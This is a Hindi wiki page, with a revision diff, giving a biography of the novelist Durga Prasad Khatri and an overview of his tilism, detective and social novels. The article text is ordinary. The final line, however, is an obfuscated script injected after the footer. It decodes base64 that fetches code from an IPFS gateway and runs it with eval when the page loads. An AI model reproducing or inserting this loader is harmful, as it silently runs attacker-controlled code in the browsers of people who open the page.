दुर्गा प्रसाद खत्री: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) No edit summary |
व्यवस्थापन (talk | contribs) m (Text replace - "काफी " to "काफ़ी ") |
||
Line 54: | Line 54: | ||
इनमें विज्ञान की जानकारी के साथ जासूसी कला को विकसित करने का प्रयास है। | इनमें विज्ञान की जानकारी के साथ जासूसी कला को विकसित करने का प्रयास है। | ||
; सामाजिक उपन्यास | ; सामाजिक उपन्यास | ||
इस रूप में अकेला 'कलंक कालिमा' है जिसमें प्रेम के अनैतिक रूप को लेकर उसके दुष्परिणाम को उद्घाटित किया गया है। बलिदान को भी सामाजिक चरित्रप्रधान उपन्यास कहा जा सकता है किंतु उसमें जासूसी की प्रवृत्ति | इस रूप में अकेला 'कलंक कालिमा' है जिसमें प्रेम के अनैतिक रूप को लेकर उसके दुष्परिणाम को उद्घाटित किया गया है। बलिदान को भी सामाजिक चरित्रप्रधान उपन्यास कहा जा सकता है किंतु उसमें जासूसी की प्रवृत्ति काफ़ी मात्रा में झलकती है। | ||
; संसार चक्र अद्भुत किंतु संभाव्य घटनाचक्र पर आधारित उपन्यास | ; संसार चक्र अद्भुत किंतु संभाव्य घटनाचक्र पर आधारित उपन्यास | ||
माया उनकी कहानियों का एकमात्र संग्रह है। ये कहानियां सामाजिक नैतिक हैं। उनकी साहित्यिक महत्ता यह है कि उन्होंने [[देवकीनंदन खत्री]] और गोपालराम गहमरी की ऐयारी जासूसी-परंपरा को तो विकसित किया ही हैं, सामाजिक और राष्ट्रीय समस्याओं को जासूसी वातावरण के साथ प्रस्तुतकर एक नई परंपरा को विकसित करने की चेष्टा की है। | माया उनकी कहानियों का एकमात्र संग्रह है। ये कहानियां सामाजिक नैतिक हैं। उनकी साहित्यिक महत्ता यह है कि उन्होंने [[देवकीनंदन खत्री]] और गोपालराम गहमरी की ऐयारी जासूसी-परंपरा को तो विकसित किया ही हैं, सामाजिक और राष्ट्रीय समस्याओं को जासूसी वातावरण के साथ प्रस्तुतकर एक नई परंपरा को विकसित करने की चेष्टा की है। |
Revision as of 14:11, 1 November 2014
दुर्गा प्रसाद खत्री
| |
पूरा नाम | दुर्गा प्रसाद खत्री |
जन्म | 12 जुलाई, 1895 |
जन्म भूमि | वाराणसी, उत्तर प्रदेश |
मृत्यु | 5 अक्टूबर, 1974 |
मुख्य रचनाएँ | प्रतिशोध, लालपंजा, रक्तामंडल, सुफेद शैतान, सुवर्णरेखा, स्वर्गपुरी, सागर सम्राट् साकेत, कालाचोर, रोहतास मठ आदि |
विषय | सामाजिक, तिलस्मी, जासूसी |
भाषा | हिंदी |
नागरिकता | भारतीय |
विशेष | दुर्गा प्रसाद खत्री ने 1500 कहानियाँ, 31 उपन्यास व हास्य प्रधान लेख लिखे। दुर्गा प्रसाद खत्री ने ‘उपन्यास लहरी’ और 'रणभेरी' नामक पत्रिकाओं का सम्पादन भी किया था। |
अन्य जानकारी | ये ख्याति प्राप्त देवकीनन्दन खत्री के पुत्र थे, जिन्हें भारत ही नहीं, अपितु पूरे विश्व में भी तिलिस्मी उपन्यासकार के रूप में प्रसिद्धि प्राप्त थी। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
दुर्गा प्रसाद खत्री (अंग्रेज़ी: Durga Prasad Khatri, जन्म- 12 जुलाई, 1895, वाराणसी ; मृत्यु- 5 अक्टूबर, 1974) हिन्दी के प्रसिद्ध उपन्यास लेखकों में से एक थे। ये ख्याति प्राप्त देवकीनन्दन खत्री के पुत्र थे, जिन्हें भारत ही नहीं, अपितु पूरे विश्व में भी तिलिस्मी उपन्यासकार के रूप में प्रसिद्धि प्राप्त थी।
जीवन परिचय
वाराणसी (भूतपूर्व काशी) में जन्में प्रख्यात तिलस्मी उपन्यासकार देवकीनन्दन खत्री के पुत्र दुर्गा प्रसाद खत्री भी उपन्यास लेखक थे। 1912 ई. में विज्ञान और गणित में विशेष योग्यता के साथ स्कूल लीविंग परीक्षा इन्होंने पास की। इसके बाद उन्होंने लिखना आरंभ किया और डेढ़ दर्जन से अधिक उपन्यास लिखे। इनके उपन्यास चार प्रकार के हैं-
- तिलस्मी एवं ऐय्यारी
- जासूसी
- सामाजिक
- अद्भुत किन्तु संभाव्य घटनाओं पर आधारित उपन्यास।
तिलस्मी उपन्यास में इन्होंने अपने पिता की परंपरा का बड़ी सूक्ष्मता के साथ अनुकरण किया है। जासूसी उपन्यासों में राष्ट्रीय भावना और क्रांतिकारी आंदोलन प्रतिबिम्बित हुआ है। सामाजिक उपन्यास प्रेम के अनैतिक रूप के दुष्परिणाम उद्घाटित करते हैं। लेखक का महत्त्व इस बात में भी है कि उसने जासूसी वातावरण में राष्ट्रीय और सामाजिक समस्याओं को प्रस्तुत किया।[1]
- भूतनाथ (1907-1913) (अपूर्ण) - देवकीनन्दन खत्री ने अपने उपन्यास 'चन्द्रकान्ता सन्तति' के एक पात्र को नायक बना कर 'भूतनाथ' उपन्यास की रचना की। किन्तु असामायिक मृत्यु के कारण वह इस उपन्यास के केवल छः भागों ही लिख पाये। आगे के शेष पन्द्रह भाग उनके पुत्र दुर्गा प्रसाद खत्री ने लिख कर पूरे किये। 'भूतनाथ' भी कथावस्तु की अन्तिम कड़ी नहीं है। इसके बाद बाबू दुर्गा प्रसाद खत्री लिखित 'रोहतास मठ' (दो खंडों में) आता है।
कृतियाँ
दुर्गा प्रसाद खत्री ने 1500 कहानियाँ, 31 उपन्यास व हास्य प्रधान लेख लिखे। दुर्गा प्रसाद खत्री ने ‘उपन्यास लहरी’ और 'रणभेरी' नामक पत्रिकाओं का सम्पादन भी किया था। इनके उपन्यास चार प्रकार के हैं-
- तिलस्मी ऐयारी उपन्यास
भूतनाथ और रोहतासमठ उनके इस विधा के उपन्यास हैं और इनमें उन्होंने अपने पिता की परंपरा को जीवित रखने का ही प्रयत्न नहीं किया है वरन् उनकी शैली का इस सूक्ष्मता से अनुकरण किया है कि यदि नाम न बताया जाय तो सहसा यह कहना संभव नहीं कि ये उपन्यास देवकीनंदन खत्री ने नहीं वरन् किसी अन्य व्यक्ति ने लिखे हैं।
- जासूसी उपन्यास
प्रतिशोध, लालपंजा, रक्तामंडल, सुफेद शैतान जासूसी उपन्यास होते हुए भी राष्ट्रीय भावना से ओतप्रोत हैं और भारतीय क्रांतिकारी आंदोलन को प्रतिबिंबित करते हैं। सुफेद शैतान में समस्त एशिया को मुक्त कराने की मौलिक उद्भावना की गई है। शुद्ध जासूसी उपन्यास हैं-
- सुवर्णरेखा
- स्वर्गपुरी
- सागर सम्राट् साकेत
- कालाचोर
इनमें विज्ञान की जानकारी के साथ जासूसी कला को विकसित करने का प्रयास है।
- सामाजिक उपन्यास
इस रूप में अकेला 'कलंक कालिमा' है जिसमें प्रेम के अनैतिक रूप को लेकर उसके दुष्परिणाम को उद्घाटित किया गया है। बलिदान को भी सामाजिक चरित्रप्रधान उपन्यास कहा जा सकता है किंतु उसमें जासूसी की प्रवृत्ति काफ़ी मात्रा में झलकती है।
- संसार चक्र अद्भुत किंतु संभाव्य घटनाचक्र पर आधारित उपन्यास
माया उनकी कहानियों का एकमात्र संग्रह है। ये कहानियां सामाजिक नैतिक हैं। उनकी साहित्यिक महत्ता यह है कि उन्होंने देवकीनंदन खत्री और गोपालराम गहमरी की ऐयारी जासूसी-परंपरा को तो विकसित किया ही हैं, सामाजिक और राष्ट्रीय समस्याओं को जासूसी वातावरण के साथ प्रस्तुतकर एक नई परंपरा को विकसित करने की चेष्टा की है।
- REDIRECTसाँचा:इन्हें भी देखें
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ पुस्तक- भारतीय चरित कोश | लेखक- लीलाधर शर्मा 'पर्वतीय' | पृष्ठ संख्या- 387
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>